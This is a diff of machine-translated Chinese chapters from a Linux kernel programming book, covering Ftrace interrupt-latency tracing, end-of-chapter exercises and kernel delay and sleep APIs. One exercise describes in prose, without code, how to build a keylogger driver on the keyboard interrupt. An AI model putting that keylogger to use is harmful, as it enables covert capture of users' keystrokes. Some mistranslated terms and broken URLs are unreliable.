original author of Ftrace. His paper entitled *Finding Origins of Latencies Using Ftrace* is a very good read. You can find it here: [https://static.lwn.nimg/conf/rtlws11/papers/proc/p02.pdf](https://static.lwn.nimg/conf/rtlws11/papers/proc/p02.pdf). - -In this section, we don't intend to cover how to use Ftrace in an in-depth manner as it's really not part of the subject matter here. Learning to use Ftrace isn't difficult, and is a valuable weapon in your kernel debug armory! If you're unfamiliar with it, please go through the links we've provided on Ftrace in the *Further reading* section at the end of this chapter. - -**潜伏期**是指某件事情应该发生的时间和实际发生的时间之间的延迟(理论和实践之间的半开玩笑的区别)。操作系统中的系统延迟可能是性能问题的根本原因。其中包括中断和调度延迟。但是这些延迟的真正原因是什么呢?借用史蒂夫·罗斯特特的论文(前面提到过),四个*事件*导致了这些延迟: - -* **中断禁用**:如果 IRQs 关闭,中断只有在开启后才能被服务(这里,我们将重点测量这一个。) -* **抢占被禁用**:如果是这种情况,被唤醒的线程在抢占被启用之前无法运行。 -* **调度延迟**:一个线程被调度运行和它实际运行在一个内核上之间的延迟(我们在配套指南 *Linux 内核编程-* *第 11 章,CPU 调度器-第 2 部分*中*延迟及其测量*一节中讨论了测量这个延迟。) -* **中断反转**:当中断优先于优先级较高的任务运行时(类似于优先级反转,这可以硬实时发生;当然,如您所知,这正是线程处理程序是关键的原因)。 - -Ftrace 可以记录除最后一个以外的所有内容。在这里,我们将重点学习如何利用 Ftrace 来找到(或者实际上是采样)硬件中断被禁用的最坏情况时间。这被称为`irqsoff`延迟跟踪。走吧! - -#### 使用 Ftrace 查找中断禁用的最坏情况时间延迟 - -Ftrace 有许多可以使用的插件(或跟踪程序)。首先,您需要确保`irqsoff`延迟跟踪器(或 Ftrace 的插件)在内核中实际启用。您可以通过两种不同的方式进行检查: - -* 检查内核配置文件(`grep`中的`CONFIG_IRQSOFF_TRACER`)。 -* 通过 Ftrace 基础设施检查可用的跟踪程序(或插件)。 - -我们将在这里选择后者: - -```sh -$ sudo cat /sys/kernel/debug/tracing/available_tracers -hwlat blk mmiotrace function_graph wakeup_dl wakeup_rt wakeup function nop -``` - -在前面的输出中,`irqsoff`跟踪器——我们需要的那个——丢失了!通常情况就是这样,这意味着您必须配置内核(打开它)并(重新)构建您的定制 5.4 内核。(这将在本章末尾的*问题*部分作为练习提供。)我们还建议您为 Ftrace 安装一个非常有用的名为`trace-cmd(1)`实用程序的前端(我们在配套指南 *Linux 内核编程* - *第 1 章*、*内核工作区设置*中提到了这个实用程序,并在*第 11 章【CPU 调度程序-第 2 部分】*中的*部分使用 trace-cmd 可视化*进行了使用)。 - -Lockdep can cause issues here: if enabled, it's really best to disable the kernel's lockdep feature when you're performing latency tracing (it could add too much overhead). We'll discuss lockdep in some detail in [Chapter 7](7.html), *Kernel Synchronization - Part 2*. - -一旦您启用了`CONFIG_IRQSOFF_TRACER`(并且安装了`trace-cmd`,请按照以下步骤让 Ftrace 的延迟跟踪器计算出**最坏情况下的*中断关闭*延迟**。不用说,这些步骤必须作为根来执行: - -1. 为自己获取一个根 Shell(您将需要根权限来做到这一点): - -```sh -sudo /bin/bash -``` - -2. 重置 Ftrace 框架(这可以通过 Ftrace 的`trace-cmd(1)`前端完成): - -```sh -trace-cmd reset -``` - -3. 将目录更改为 ftrace 的目录: - -```sh -cd /sys/kernel/debug/tracing -``` - -它通常可以在这里找到。如果您将`debugfs`伪文件系统安装在不同的目录下,那么请将`cd`放在那里(并放在它下面的`tracing`目录下)。 - -4. 使用`echo 0 tracing_on`关闭所有追踪(确保在`0`和>符号之间留有空间)。 -5. 将`irqsoff`跟踪器设置为当前跟踪器: - -```sh -echo irqsoff current_tracer -``` - -6. 现在,打开跟踪: - -```sh -echo 1 tracing_on - ... it runs! ... -``` - -7. 以下输出显示了最坏情况`irqsoff latency`(这通常以微秒为单位显示;不用担心,我们将很快展示一个示例运行): - -```sh -cat tracing_max_latency -[...] -``` - -8. 获取并阅读完整的报告。所有 Ftrace 输出都保存在`trace`伪文件中: - -```sh -cp trace /tmp/mytrc.txt -cat /tmp/mytrc.txt -``` - -9. 重置 Ftrace 框架: - -```sh -trace-cmd reset -``` - -我们获得的输出如下所示: - -```sh -# cat /tmp/mytrc.txt -# tracer: irqsoff -# -# irqsoff latency trace v1.1.5 on 5.4.0-llkd01 -# -------------------------------------------------------------------- -# latency: 234 us, #53/53, CPU#1 | (M:desktop VP:0, KP:0, SP:0 HP:0 #P:2) -# ----------------- -# | task: sshd-25311 (uid:1000 nice:0 policy:0 rt_prio:0) -# ----------------- -# = started at: schedule -# = ended at: finish_task_switch -[...] -``` - -这里,最坏的情况`irqsoff`延迟是 234 微秒(在执行带有 PID 25311 的`sshd`任务时经历的),这意味着在这段时间内硬件中断是关闭的。为了方便起见,我提供了一个简单的包装器 Bash 脚本(`ch4/irqsoff_latency_ftrc.sh`)来完成同样的工作。 - -现在,我们将提到一些您可以用来测量系统延迟的其他有用工具。 - -### 其他工具 - -以下是在捕获和分析系统延迟方面值得一提的几个工具(以及更多工具): - -* 您可以学习如何设置和使用强大的 **Linux 跟踪工具包–下一代** ( **LTTng** )工具集来记录运行中的系统跟踪。我强烈推荐使用高超的**轨迹罗盘** GUI 来分析。事实上,在配套指南 *Linux 内核编程-* *第 1 章**内核工作区设置*中,在 *Linux Tracing Toolkit 下一代(LTTng)* 部分,我们展示了 Trace Compass GUI 有趣的截图(*图 1.9* )用于显示和分析 IRQ 第 1 行和第 130 行(i8042 和 Wi-Fi 的中断行 -* 您也可以尝试使用`latencytop`工具来确定哪个内核操作哪些用户空间线程被阻塞。为此,您必须在内核配置中打开`CONFIG_LATENCYTOP`。 -* 除了延迟度量,您还可以使用`dstat(1)`、`mpstat(1)`、`watch(1)`等获得中断的“顶级”视图([https://UNIX . stackexchange . com/questions/8699/是否有解释-proc-中断-数据-时间的实用程序](https://unix.stackexchange.com/questions/8699/is-there-a-utility-that-interprets-proc-interrupts-data-in-time))。 - -至此,我们已经完成了这一部分和这一章。 - -# 摘要 - -恭喜你!这一章很长,但很有价值。关于如何处理硬件中断,您将学到很多东西。在了解作为驱动程序作者,您必须如何处理中断之前,我们先简单了解一下操作系统如何处理中断。为此,您学习了如何通过几种方法分配 IRQ 线路(并释放它们)和实现硬件中断例程。在这里,讨论了几个限制和警告,基本上归结为这是一个原子活动的事实。然后介绍了“线程中断”模型的方式和原因;它通常被认为是现代处理中断的推荐方式。之后,我们了解并学习了如何与 hard rqs/soft irqs 和上/下半部分合作。最后,我们以典型的常见问题解答的形式,讲述了关于负载平衡中断、IRQ 堆栈以及如何使用一些有用的框架和工具来测量中断度量和延迟的信息。 - -当涉及到设计一个必须处理硬件中断的写得好的驱动程序时,所有这些都是必不可少的知识! - -下一章涵盖了处理时间的领域:内核空间中的延迟和超时,创建和管理内核线程,以及使用内核工作队列。建议你勤勤恳恳的做好这一章的练习,浏览*进一步阅读*部分的众多资源,然后休息一下(嘿,只工作不玩耍,聪明的孩子也会变傻,对吧!?)在潜水回来之前!那里见! - -# 问题 - -1. 在 x86 系统上(虚拟机也可以),显示当定时器中断(IRQ `0`)的数量保持不变时,另一个周期性的系统中断实际上在不断增加(因此在每个 CPU 的基础上跟踪时间)。 - *提示:*使用与中断相关联的`proc` 伪文件。 -2. ***键盘记录器 _ 简单;仅限本机 x86 仅用于道德黑客攻击;可能不适用于 VM]*** - (高级一点)使用“misc”内核框架编写一个简单的键盘记录器驱动程序。将其夹在 i8042 的 IRQ 1 中,以便将其“夹”在键盘中按下/释放并读取按键扫描代码。使用`kfifo`数据结构将键盘扫描代码保存在内核空间内存中。让用户模式进程(或线程)定期将驱动程序`kfifo`中的数据项读入用户空间缓冲区,并将它们写入日志文件。编写一个应用(或使用另一个线程)来解释键盘按键。 - *提示:* - 1. 您能确保它只在 x86 上运行吗(应该如此)?有;在代码的最开始使用`#ifdef CONFIG_X86`! - 2. 您能否确保它仅在本机系统上运行,而不在虚拟机中运行?是的,您可以使用包装脚本中的`virt-what`脚本来加载驱动程序;仅在不在虚拟机上时执行`insmod`(或`modprobe`)。 - 3. 写一个驱动程序实际上是一件困难的事情(而且完全没有必要!)实现键记录器的方法(在这里,您只是作为一个学习练习来这样做,以便知道如何在设备驱动程序中处理硬件中断)。在更高层次的抽象上工作确实更简单更好——基本上,通过查询内核的`events`层来获取击键。一个简单的方法是使用事件监控和捕获工具–`evtest(1)`很好!(以 root 身份运行它;[https://www . kernel . org/doc/html/latest/input/input _ uapi . html](https://www.kernel.org/doc/html/latest/input/input_uapi.html)。 - -*本作业的参考文献:* - -* *使用内核 kfifo*:[https://酏](https://elixir.bootlin.com/linux/latest/source/samples/kfifo/bytestream-example.c) -* *美国键盘地图及解读*:[http://www.philipstorr.id.au/pcbook/book3/scancode.htm](http://www.philipstorr.id.au/pcbook/book3/scancode.htm);[http://www.osdever.net/bkerndev/Docs/keyboard.htm](http://www.osdever.net/bkerndev/Docs/keyboard.htm) - -4. 内核提供了“延迟功能”机制,通常称为 _ _ _ _ _ _;它们被刻意设计成两全其美:(i) __________ 和(ii)_ _ _ _ _ _ _。 - 1. 上半部分;尽快运行 hardirq 之后立即恢复中断的上下文。 - 2. 下半部分;如果情况需要,允许驱动程序作者进行相当长的中断处理。在允许系统业务继续的同时,以一种延迟的、安全的方式做到这一点。 - 3. 好一半;在中断上下文中做更多的工作,这样以后就不用为它付费了。 - 4. 下半部分;在中断被禁用的情况下运行中断代码,并让它长时间运行。 -5. 使用代码浏览工具(`cscope(1)`是一个不错的选择)来查找使用`tasklet_hi_schedule()` API 的驱动程序。 -6. 使用 Ftrace `irqsoff`延迟跟踪器插件来查找中断被关闭的最长时间。 - *提示* : 这将涉及使用`irqsoff` 插件(`CONFIG_IRQSOFF_TRACER`);如果默认情况下没有打开它,您将不得不配置内核,以便它包含它(以及其他所需的跟踪程序;你可以在`make menuconfig : Kernel Hacking / Tracers`下找到它们)。然后,您必须构建内核并关闭它。 - *提示* : 在测量系统延迟(中断关闭、中断和抢占关闭、调度延迟)等情况时,最好禁用`lockdep`。 - *参考:* *使用 Ftrace* 、Steven Rostedt、RedHat:[https://static . lwn . nimg/conf/rtlw S11/papers/proc/p02 . pdf](https://static.lwn.nimg/conf/rtlws11/papers/proc/p02.pdf)。 - -Solutions to some of the preceding questions could be found at [https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn). - -# 进一步阅读 - -* 内核文档: *Linux 通用 IRQ 处理*:[https://www . kernel . org/doc/html/latest/core-API/generic IRQ . html # Linux-generic-IRQ-处理](https://www.kernel.org/doc/html/latest/core-api/genericirq.html#linux-generic-irq-handling) -* 中断时的 LWN 内核索引:[https://lwn.net/Kernel/Index/#Interrupts](https://lwn.net/Kernel/Index/#Interrupts) - -* 电平/边沿的中断触发: - * *边缘触发与水平触发中断*,3 月 13 日:[http://venkateshabrapu . blogspot . com/2013/03/边缘触发与水平触发. html](http://venkateshabbarapu.blogspot.com/2013/03/edge-triggered-vs-level-triggered.html) - * *电平触发与边沿触发中断*,2008 年 11 月: -* *如何以编程方式禁用不可屏蔽中断?*:[https://stackoverflow . com/questions/55394608/怎么办-I-disable-不可屏蔽-中断-编程方式](https://stackoverflow.com/questions/55394608/how-do-i-disable-non-maskable-interrupts-programmatically) -* *可线程化的 NAPI 投票、软 irqs 和适当的修复*,乔恩·科尔贝特,2016 年 5 月,LWN:[https://lwn.net/Articles/687617/](https://lwn.net/Articles/687617/) -* 未来可能的方向:softirq 矢量细粒度屏蔽: - * *每矢量软件中断屏蔽*,乔恩·科贝特,2019 年 2 月,LWN:[https://lwn.net/Articles/779738/](https://lwn.net/Articles/779738/) - * *软可中断软 irq(或按矢量屏蔽)*,Frederic Weisbecker,SuSe:[https://linuxplumbersconf . org/event/4/contributions/420/attachments/375/609/LPC _ softirq . pdf](https://linuxplumbersconf.org/event/4/contributions/420/attachments/375/609/lpc_softirq.pdf) -* IRQ 平衡和相似性: - * *IRQ 平衡*,ntop 项目:[https://www.ntop.org/pf_ring/irq-balancing/](https://www.ntop.org/pf_ring/irq-balancing/) - * *设置中断关联系统*,RHEL8:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/8/html/monitoring _ and _ management _ system _ status _ and _ performance/配置操作系统以优化 cpu 利用率 _ monitoring-and-management-system-status-performance #设置-中断关联-systems _ configuration-操作系统以优化 cpu 利用率](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/monitoring_and_managing_system_status_and_performance/configuring-an-operating-system-to-optimize-cpu-utilization_monitoring-and-managing-system-status-and-performance#setting-interrupt-affinity-systems_configuring-an-operating-system-to-optimize-cpu-utilization) -* 用循证医学方法进行绩效测量和分析的现代方法; - * *Linux bcc/eBPF 追踪工具*,Brendan Gregg:[https://github.com/iovisor/bcc#tools](https://github.com/iovisor/bcc#tools) - * *密件抄送教程*:[https://github . com/iovisor/bcc/blob/master/docs/Tutorial . MD # bcc-教程](https://github.com/iovisor/bcc/blob/master/docs/tutorial.md#bcc-tutorial) - -* 客户名称: - * 内核文档:*ftrace-Function Tracer*:[https://www.kernel.org/doc/Documentation/trace/ftrace.txt](https://www.kernel.org/doc/Documentation/trace/ftrace.txt) - * 以下是关于 LWN Ftrace 文章的链接集合(这里提到了其中一些):[https://lwn.net/Kernel/Index/#Ftrace](https://lwn.net/Kernel/Index/#Ftrace) - * *使用 ftrace 调试内核-第 1 部分*,Steven Rostedt,LWN,2009 年 12 月:[https://lwn.net/Articles/365835/](https://lwn.net/Articles/365835/) - * *ftrace 函数跟踪器的秘密*,史蒂文·罗斯特特,LWN,2010 年 1 月:[https://lwn.net/Articles/370423/](https://lwn.net/Articles/370423/) - * *trace-cmd:ftrace*的前端,史蒂文·罗斯特特,LWN,2010 年 10 月:[https://lwn.net/Articles/410200/](https://lwn.net/Articles/410200/) - * *使用 Ftrace* 寻找延迟的来源,Steven Rostedt,2011 年 10 月: -* *LWN 内核指数在* *延迟*:[https://lwn.net/Kernel/Index/#Latency](https://lwn.net/Kernel/Index/#Latency)**** \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/5.md b/docs/linux-kernel-prog-pt2/5.md deleted file mode 100644 index ceef4b7d..00000000 --- a/docs/linux-kernel-prog-pt2/5.md +++ /dev/null @@ -1,1390 +0,0 @@ -# 五、使用内核定时器、线程和工作队列 - -如果设备驱动程序的低级规范要求在执行`func_a()`和`func_b()`之间应该有 50 毫秒的延迟,该怎么办?此外,根据您的情况,当您在进程或中断上下文中运行时,延迟应该有效。如果在驱动程序的另一部分中,您需要异步地和周期性地(比如说,每秒钟)执行某种监控功能,会怎么样?或者您需要让一个线程(或几个线程)在后台但在内核中默默执行工作吗? - -这些都是各种软件中非常常见的需求,包括我们所处的宇宙角落——Linux 内核模块(和驱动)开发!在本章中,您将学习如何在内核空间中运行时设置、理解和使用延迟,以及如何使用内核定时器、内核线程和工作队列。 - -在本章中,您将学习如何以最佳方式执行这些任务。简而言之,我们将涵盖以下主题: - -* 在内核中延迟给定的时间 -* 设置和使用内核定时器 -* 创建和使用内核线程 -* 使用内核工作队列 - -我们开始吧! - -# 技术要求 - -我假设您已经完成了前言部分,以充分利用这本书,并适当地准备了一个运行 Ubuntu 18.04 LTS(或更高的稳定版本)的来宾虚拟机,并安装了所有必需的软件包。如果没有,我强烈建议你先做这个。为了最大限度地利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。存储库可以在这里找到:[https://github . com/PacktPublishing/Linux-内核-编程-Part-2](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/ch5) 。 - -# 在内核中延迟给定的时间 - -通常,您的内核或驱动程序代码需要等待给定的时间,然后才能继续执行下一条指令。这可以通过一组延迟 API 在 Linux 内核空间中实现。从一开始,需要理解的一个关键点是,您可以通过两种广泛的方式来实施延迟: - -* 通过非阻塞或原子 API 的延迟永远不会导致休眠进程发生(换句话说,它永远不会超时) -* 通过阻塞导致当前进程上下文休眠的 API 来延迟(换句话说,通过调度) - -(正如我们在配套指南 *Linux 内核编程中详细介绍的那样,*我们关于 CPU 调度的章节*第 10 章,**CPU 调度器–第 1 部分*和 *第 11 章**CPU 调度器–第 2 部分*),将进程上下文置于内部休眠状态意味着内核的核心`schedule()`功能在某个时刻被调用,最终导致上下文切换发生。这就引出了一个非常重要的问题(我们之前提到过!):在任何类型的原子或中断上下文中运行时,您永远不要调用`schedule()`。 - -通常,就像我们这里插入延迟的情况一样,您必须弄清楚您打算插入延迟的代码运行在什么上下文中。我们在配套指南 *Linux 内核编程-* *第 6 章**内核内部要素–进程和线程*中的*确定上下文*一节中介绍了这一点;如果你不清楚,请回头参考。(我们在 [*第 4 章*](4.html)*处理硬件中断*中对此进行了更详细的描述。) - -接下来,仔细想一想:如果你确实处于原子(或中断)上下文中,真的有必要延迟吗?原子或中断上下文的全部意义在于它的执行被限制在尽可能短的持续时间内;强烈建议您这样设计。这意味着您不会在原子代码中插入延迟,除非您无法避免这样做。 - -* **使用第一种类型**:这些是非阻塞或原子 API,永远不会导致睡眠发生。当您的代码处于原子(或中断)上下文中,并且您确实需要一个持续时间很短的非阻塞延迟时,您应该使用它;但是这有多短呢?根据经验,将这些 API 用于 1 毫秒或更短的非阻塞原子延迟。即使您需要在原子上下文中延迟一毫秒以上——比如说,在中断处理程序的代码中(*)但为什么要在中断中延迟呢!?*)–使用这些`*delay()`API(字符`*`表示通配符;在这里,你会看到,它暗示了`ndelay()`、`delay()`和`mdelay()`的套路。 -* **使用第二种类型**:这些是导致当前进程上下文休眠的阻塞 API。当您的代码处于流程(或任务)上下文中时,您应该使用它,因为延迟本质上是阻塞的,并且持续时间更长;实际上,延迟超过一毫秒。这些内核 API 遵循`*sleep()`的形式。(同样,在不涉及太多细节的情况下,考虑一下这个问题:如果你在一个过程上下文*中,但是*在一个自旋锁的关键部分中,这是一个原子上下文——如果你必须包含一个延迟,那么你必须使用`*delay()`API!我们将在这本书的最后两章讨论自旋锁和更多内容。) - -现在,让我们看看这些内核 API,看看它们是如何使用的。我们将从查看`*delay()`原子 API 开始。 - -## 了解如何使用*delay()原子 API - -废话不多说,我们来看一个表,它快速总结了可用的(对我们模块作者来说)非阻塞或原子`*delay()`内核 APIs*它们应该用在任何种类的原子或中断上下文中,在这些上下文中,您不能阻塞或休眠*(或调用`schedule()`): - -| API | comment | -| `ndelay(ns);` | 延迟为`ns`纳秒。 | -| `udelay(us);` | 延迟`us`微秒。 | -| `mdelay(ms);` | 延迟`ms`毫秒。 | - -Table 5.1 – The *delay() non-blocking APIs - -关于这些 API、它们的内部实现以及它们的使用,有几点需要注意: - -* 在使用这些宏/API 时,一定要包含``头。 -* 您需要根据必须延迟的时间调用适当的例程;例如,如果需要执行 30 毫秒的原子无阻塞延迟,则应该调用`mdelay(30)`而不是`udelay(30*1000)`。内核代码提到了这一点:`linux/delay.h`–*“对于高 loops_per_jiffy(高 bogomips)机器来说,使用 udelay()的时间间隔超过几毫秒可能会有溢出的风险……”。* -* 这些 API 的内部实现和 Linux 上的许多 API 一样,是细致入微的:在``头中有这些函数(或者宏,视情况而定)的更高级抽象实现;在特定于 arch 的标头(`/delay.h>` *或* ``)中,通常有一个低级的特定于 arch 的实现;其中`arch`当然是指 CPU),它将在调用时自动覆盖高级版本(链接器将确保这一点)。 - -* 在当前的实现中,这些 API 最终归结为`udelay()`之上的包装器;这个函数本身归结为一个紧密的汇编循环,执行所谓的“忙循环”!(对于 x86,代码可以在`arch/x86/lib/delay.c:__const_udelay()`中找到)。在启动过程的早期,内核没有深入到血淋淋的细节,而是校准了几个值:所谓的**bogomips–**伪 MIPS–**每一瞬间循环次数** ( **lpj** )值。本质上,内核计算出,在那个特定的系统上,一个循环必须重复多少次,才能经过一次计时器滴答或一瞬间。这个值被称为系统的 bogomips 值,可以在内核日志中看到。例如,在我的酷睿 i7 笔记本电脑上,它如下所示: - -```sh -Calibrating delay loop (skipped), value calculated using timer frequency.. 5199.98 BogoMIPS (lpj=10399968) -``` - -* 对于超过`MAX_UDELAY_MS`的延迟(设置为 5 毫秒),内核将在内部循环调用`udelay()`函数。 - -请记住,当您在任何类型的原子上下文中需要延迟时,必须使用`*delay()`API,例如中断处理程序(上半部分或下半部分),因为它们保证永远不会发生休眠,因此不会调用`schedule()`。提醒(我们在 [*第四章*](4.html)*处理硬件中断*中提到了这一点):`might_sleep()`作为调试辅助;内核(和驱动程序)在进程上下文中运行代码的代码库中的地方内部使用`might_sleep()`宏;也就是它可以睡觉的地方。现在,如果`might_sleep()`曾经在原子上下文中被调用过,那就大错特错了——一个嘈杂的 printk 堆栈跟踪随后被发出,从而帮助你及早发现并解决这些问题。您也可以在流程上下文中使用这些`*delay()`应用编程接口。 - -In these discussions, you will often come across the `jiffies` kernel variable; essentially, think of `jiffies` as a global unsigned 64-bit value that is incremented on every timer interrupt (or timer tick; it's internally protected against overflow). Thus, the continually incrementing variable is used as a way to measure uptime, as well as a means of implementing simple timeouts and delays. - -现在,让我们看看第二种可用的延迟 APIs 阻塞型。 - -## 了解如何使用*sleep()阻塞 API - -让我们看看另一个表格,它快速总结了可用的(对我们模块作者来说)阻塞`*sleep*()`内核 APIs 这些是*只打算在过程上下文中使用,当它是安全的睡眠*;也就是说`schedule()`的调用不是问题。换句话说,延迟是由进程上下文实现的,它在延迟期间实际上处于睡眠状态,然后在完成时被唤醒: - -| API | **内部“有”【T1 支持】** | comment | -| `usleep_range(umin, umax);` | `hrtimers`(高分辨率计时器) | 睡眠时间在`umin`和`umax`微秒之间。在唤醒时间灵活的地方使用。这是**推荐使用的原料药**。 | -| `msleep(ms);` | `jiffies` / `legacy_timers` | 睡眠`ms`毫秒。通常指持续时间为 10 毫秒或更长的睡眠。 | -| `msleep_interruptible(ms);` | `jiffies` / `legacy_timers` | `msleep(ms);`的可中断变体。 | -| `ssleep(s);` | `jiffies` / `legacy_timers` | 睡眠`s`秒。这是用来睡觉的> 1 s(包裹`msleep()`)。 | - -Table 5.2 – The *sleep*() blocking APIs - -关于这些 API、它们的内部实现以及它们的使用,有几点需要注意: - -* 使用这些宏/API 时,确保包含``头。 -* 所有这些`*sleep()`API 都是以这样一种方式在内部实现的:它们*使当前流程上下文休眠*(即通过内部调用`schedule()`);因此,当然,它们必须只在“睡眠安全”的过程上下文中被调用。同样,仅仅因为您的代码在流程上下文中并不一定意味着它是安全的;例如,自旋锁的临界区是原子的;因此,你不能在那里调用前面提到的`*sleep()`API! -* 我们提到`usleep_range()`是**首选/推荐的**原料药,当你想要短时间睡眠时使用——但是为什么呢?这一点在*中会变得更加清晰,让我们试试——延迟和睡眠真的需要多长时间?*节。 - -如您所知,Linux 上的睡眠有两种类型:可中断的和不间断的。后者意味着没有信号任务可以“打扰”睡眠。因此,当您调用`msleep(ms);`时,通过内部调用以下内容,我将当前流程上下文置于`ms`睡眠状态: - -```sh -__set_current_state(TASK_UNINTERRUPTIBLE); -return schedule_timeout(timeout); -``` - -`schedule_timeout()`例程通过设置内核定时器工作(我们的下一个话题!)将在期望的时间到期,然后通过调用`schedule()`立即使进程进入睡眠状态!(好奇的人可以在这里偷看一下它的代码:`kernel/time/timer.c:schedule_timeout()`)。)除了称呼`__set_current_state(TASK_INTERRUPTIBLE);`之外,`msleep_interruptible()`的实现非常相似。作为设计启发式,遵循*的 UNIX 范式提供机制,而不是策略*;这样,在以下情况下调用`msleep_interruptible()`可能是一个好主意:如果 userspace 应用中止了工作(也许是通过用户按下`^C`,内核或驱动程序顺从地释放了任务:它的进程上下文被唤醒,它运行适当的信号处理程序,生命继续。在内核空间不受用户生成的信号干扰这一点很重要的情况下,使用`msleep()`变体。 - -同样,根据经验,根据延迟的持续时间,使用以下 API: - -* **延迟超过 10 毫秒** : `msleep()`或`msleep_interruptible()` -* **延迟超过 1 秒** : `ssleep()` - -正如你所料,`ssleep()`是`msleep();`的简单包装,变成了`msleep(seconds * 1000);`。 - -实现用户空间`sleep(3)` API 的(近似)等价的一个简单方法可以在我们的`convenient.h`头中看到;本质上,它采用了`schedule_timeout()`原料药: - -```sh -#ifdef __KERNEL__ -void delay_sec(long); -/*------------ delay_sec -------------------------------------------------- - * Delays execution for @val seconds. - * If @val is -1, we sleep forever! - * MUST be called from process context. - * (We deliberately do not inline this function; this way, we can see it's - * entry within a kernel stack call trace). - */ -void delay_sec(long val) -{ - asm (""); // force the compiler to not inline it! - if (in_task()) { - set_current_state(TASK_INTERRUPTIBLE); - if (-1 == val) - schedule_timeout(MAX_SCHEDULE_TIMEOUT); - else - schedule_timeout(val * HZ); - } -} -#endif /* #ifdef __KERNEL__ */ -``` - -既然您已经学会了如何延迟(是的,请微笑),让我们继续学习一个有用的技能:时间戳内核代码。这允许您快速计算特定代码执行所需的时间。 - -## 获取内核代码中的时间戳 - -当内核使用这个工具时,能够获取准确的时间戳是很重要的。例如,`dmesg(1)`实用程序以`seconds.microseconds`格式显示系统启动后的时间;Ftrace 跟踪通常显示函数执行所需的时间。在用户模式下,我们经常使用`gettimeofday(2)`系统调用来获取时间戳。在内核中,存在几个接口;通常,`ktime_get_*()`系列例程用于获取准确的时间戳。出于我们的目的,以下例程很有用: - -```sh -u64 ktime_get_real_ns(void); -``` - -该例程通过`ktime_get_real()` API 在内部查询挂钟时间,然后将结果转换为纳秒量。我们这里就不打扰内部细节了。此外,该应用编程接口的几个变体是可用的;例如,`ktime_get_real_fast_ns()`、`ktime_get_real_ts64()`等等。前者既快速又安全。 - -现在您知道如何获取时间戳了,您可以计算出一些代码需要多长时间才能执行到很高的精度,纳秒级的分辨率也不逊色!您可以使用以下伪代码来实现这一点: - -```sh -#include -t1 = ktime_get_real_ns(); -foo(); -bar(); -t2 = ktime_get_real_ns(); -time_taken_ns = (t2 -> t1); -``` - -这里,计算(虚构的)`foo()`和`bar()`函数执行所花费的时间,并且结果(以纳秒为单位)可以在`time_taken_ns`变量中获得。``内核头本身包括``头,这是`ktime_get_*()`系列例程定义的地方。 - -A macro to help you calculate the time taken between two timestamps has been provided in our `convenient.h` header file: `SHOW_DELTA(later, earlier);`. Ensure that you pass the later timestamp as the first parameter and the first timestamp as the second parameter. - -下一节中的代码示例将帮助我们采用这种方法。 - -## 让我们试试——延迟和睡眠真的需要多长时间? - -现在,您已经知道如何使用`*delay()`和`*sleep()`API 来构造延迟和休眠(分别是非阻塞和阻塞)。不过,请稍等,我们还没有在内核模块中真正尝试过。不仅如此,延迟和睡眠是否像我们被引导相信的那样准确?让我们像往常一样*实证*(这很重要!)而不做任何假设。让我们自己来试试吧! - -我们将在本小节中看到的演示内核模块按顺序执行两种延迟: - -* 首先,它使用`*delay()`例程(您在*了解如何使用*delay()原子* *APIs* 部分中了解到)来实现 10 ns、10 us 和 10 ms 的原子非阻塞延迟 -* 接下来,它使用`*sleep()`例程(您在*了解如何使用*sleep()阻塞**API*部分中了解到的)来实现 10 us、10 ms 和 1 秒的阻塞延迟。 - -我们这样称呼代码: - -```sh -DILLY_DALLY("udelay() for 10,000 ns", udelay(10)); -``` - -这里,`DILLY_DALLY()`是自定义宏。其实施如下: - -```sh -// ch5/delays_sleeps/delays_sleeps.c -/* - * DILLY_DALLY() macro: - * Runs the code @run_this while measuring the time it takes; prints the string - * @code_str to the kernel log along with the actual time taken (in ns, us - * and ms). - * Macro inspired from the book 'Linux Device Drivers Cookbook', PacktPub. - */ -#define DILLY_DALLY(code_str, run_this) do { \ - u64 t1, t2; \ - t1 = ktime_get_real_ns(); \ - run_this; \ - t2 = ktime_get_real_ns(); \ - pr_info(code_str "-> actual: %11llu ns = %7llu us = %4llu ms\n", \ - (t2-t1), (t2-t1)/1000, (t2-t1)/1000000);\ -} while(0) -``` - -这里,我们简单地实现了时间增量计算;一个好的实现将包括检查`t2`的值是否大于`t1`,是否发生溢出,等等。 - -对于各种延迟和休眠,我们在内核模块的`init`函数中调用它,如下所示: - -```sh - [ ... ] - /* Atomic busy-loops, no sleep! */ - pr_info("\n1\. *delay() functions (atomic, in a delay loop):\n"); - DILLY_DALLY("ndelay() for 10 ns", ndelay(10)); - /* udelay() is the preferred interface */ - DILLY_DALLY("udelay() for 10,000 ns", udelay(10)); - DILLY_DALLY("mdelay() for 10,000,000 ns", mdelay(10)); - - /* Non-atomic blocking APIs; causes schedule() to be invoked */ - pr_info("\n2\. *sleep() functions (process ctx, sleeps/schedule()'s out):\n"); - /* usleep_range(): HRT-based, 'flexible'; for approx range [10us - 20ms] */ - DILLY_DALLY("usleep_range(10,10) for 10,000 ns", usleep_range(10, 10)); - /* msleep(): jiffies/legacy-based; for longer sleeps (> 10ms) */ - DILLY_DALLY("msleep(10) for 10,000,000 ns", msleep(10)); - DILLY_DALLY("msleep_interruptible(10) ", msleep_interruptible(10)); - /* ssleep() is a wrapper over msleep(): = msleep(ms*1000); */ - DILLY_DALLY("ssleep(1) ", ssleep(1)); -``` - -以下是内核模块在我们值得信赖的 x86_64 Ubuntu 虚拟机上运行时的一些示例输出: - -![](img/f9d48d06-517c-4f1c-8883-91e2d9d6f34e.png) - -Figure 5.1 – A partial screenshot showing the output of our delays_sleeps.ko kernel module - -仔细研究前面的输出;奇怪的是`udelay(10)`和`mdelay(10)`例程似乎都在期望的延迟期到期之前完成了它们的执行*(在我们的示例输出中,分别在`9 us`和`9 ms`)!怎么会这样现实是**`*delay()`套路往往完成得更早**。内核源代码中记录了这一事实。让我们看一下代码的相关部分(它是不言自明的):* - -```sh -// include/linux/delay.h -/* - [ ... ] - * Delay routines, using a pre-computed "loops_per_jiffy" value. - * - * Please note that ndelay(), udelay() and mdelay() may return early for - * several reasons: - * 1\. computed loops_per_jiffy too low (due to the time taken to - * execute the timer interrupt.) - * 